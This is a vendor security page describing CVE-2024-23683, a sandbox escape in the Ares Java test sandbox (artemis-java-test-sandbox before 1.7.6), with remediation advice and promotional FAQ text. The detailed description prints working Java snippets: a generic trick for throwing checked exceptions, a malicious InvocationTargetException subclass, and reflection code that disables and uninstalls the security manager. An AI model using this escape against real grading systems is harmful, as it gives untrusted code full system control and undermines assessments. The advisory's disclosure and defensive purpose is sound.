CVE-2024-23683

CVE-2024-23683 is a high-severity security vulnerability in de.tum.in.ase:artemis-java-test-sandbox (maven), affecting versions < 1.7.6. It is fixed in 1.7.6.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Trust Boundary Violation due to Incomplete Blacklist in Test Failure Processing in Ares

Workarounds

Forbid student classes in trusted packages like, e.g., described in https://github.com/ls1intum/Ares/issues/15#issuecomment-996449371

References

Are there any links users can visit to find out more?
Not that I know of.

For more information

If you have any questions or comments about this advisory:

Detailed description

Using generics, it is possible to throw checked exceptions without a throws clause:

ThrowWithoutThrowsHelper
public class ThrowWithoutThrowsHelper<X extends Throwable>
{
    private final X throwable;

    private ThrowWithoutThrowsHelper(X throwable)
    {
        this.throwable = throwable;
    }

    private <R> R throwWithThrows() throws X
    {
        throw throwable;
    }

    public static <R> R throwWithoutThrows(Throwable throwable)
    {
        ThrowWithoutThrowsHelper<?> helper = new ThrowWithoutThrowsHelper<Throwable>(throwable);
        @SuppressWarnings("unchecked")
        ThrowWithoutThrowsHelper<RuntimeException> helperCasted = (ThrowWithoutThrowsHelper<RuntimeException>) helper;
        return helperCasted.throwWithThrows();
    }
}

Using this, it is possible for a malicious testee to throw an instance of a malicious subclass of InvocationTargetException (let's call it EvilInvocationTargetException).

This exception is catched by org.junit.platform.commons.util.ReflectionUtils::invokeMethod, which looks like this:

ReflectionUtils::invokeMethod
    public static Object invokeMethod(Method method, Object target, Object... args) {
        Preconditions.notNull(method, "Method must not be null");
        Preconditions.condition((target != null || isStatic(method)),
            () -> String.format("Cannot invoke non-static method [%s] on a null target.", method.toGenericString()));

        try {
            return makeAccessible(method).invoke(target, args);
        }
        catch (Throwable t) {
            throw ExceptionUtils.throwAsUncheckedException(getUnderlyingCause(t));
        }
    }

This method calls getUnderlyingCause (of the same class), passing to it the catched, malicious exception as an argument.

ReflectionUtils::getUnderlyingCause
    private static Throwable getUnderlyingCause(Throwable t) {
        if (t instanceof InvocationTargetException) {
            return getUnderlyingCause(((InvocationTargetException) t).getTargetException());
        }
        return t;
    }

getUnderlyingCause in turn checks if the passed exception is instanceof InvocationTargetException, and if so, calls getTargetException on it. getTargetException can be overridden by subclasses of InvocationTargetException, like the EvilInvocationTargetException.
If EvilInvocationTargetException is in a whitelisted package (for example de.tum.in.test.api.security.notsealedsubpackage), getTargetException will be called with the entire stack containing only whitelisted frames.
This allows the attacker to uninstall the ArtemisSecurityManager in EvilInvocationTargetException::getTargetException:

Uninstalling ArtemisSecurityManager

SecurityManager secman = System.getSecurityManager();
Class<?> aresSecmanClass = secman.getClass();
Field isPartlyDisabledF = aresSecmanClass.getDeclaredField("isPartlyDisabled");
isPartlyDisabledF.setAccessible(true);
isPartlyDisabledF.set(secman, true);
System.setSecurityManager(null);

After uninstalling ArtemisSecurityManager, the attacker is free to do anything expressible in Java; including reading and writing any files, opening network connections, and executing arbitrary shell commands.

Impact

This allows an attacker to create special subclasses of InvocationTargetException that escape the exception sanitization because JUnit extracts the cause in a trusted context before the exception reaches Ares. This means that arbitrary student code can be executed in a trusted context, and that in turn allows disabling Ares and having full control over the system.

CVE-2024-23683 has a CVSS score of 8.2 (High). The vector is requires local access, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.7.6); upgrading removes the vulnerable code path.

Affected versions

de.tum.in.ase:artemis-java-test-sandbox (< 1.7.6)

Security releases

de.tum.in.ase:artemis-java-test-sandbox → 1.7.6 (maven)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Update to version 1.7.6 or later.

Frequently Asked Questions

  1. What is CVE-2024-23683? CVE-2024-23683 is a high-severity security vulnerability in de.tum.in.ase:artemis-java-test-sandbox (maven), affecting versions < 1.7.6. It is fixed in 1.7.6.
  2. How severe is CVE-2024-23683? CVE-2024-23683 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of de.tum.in.ase:artemis-java-test-sandbox are affected by CVE-2024-23683? de.tum.in.ase:artemis-java-test-sandbox (maven) versions < 1.7.6 is affected.
  4. Is there a fix for CVE-2024-23683? Yes. CVE-2024-23683 is fixed in 1.7.6. Upgrade to this version or later.
  5. Is CVE-2024-23683 exploitable, and should I be worried? Whether CVE-2024-23683 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2024-23683 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2024-23683? Upgrade de.tum.in.ase:artemis-java-test-sandbox to 1.7.6 or later.

Other vulnerabilities in de.tum.in.ase:artemis-java-test-sandbox

Stop the waste.
Protect your environment with Kodem.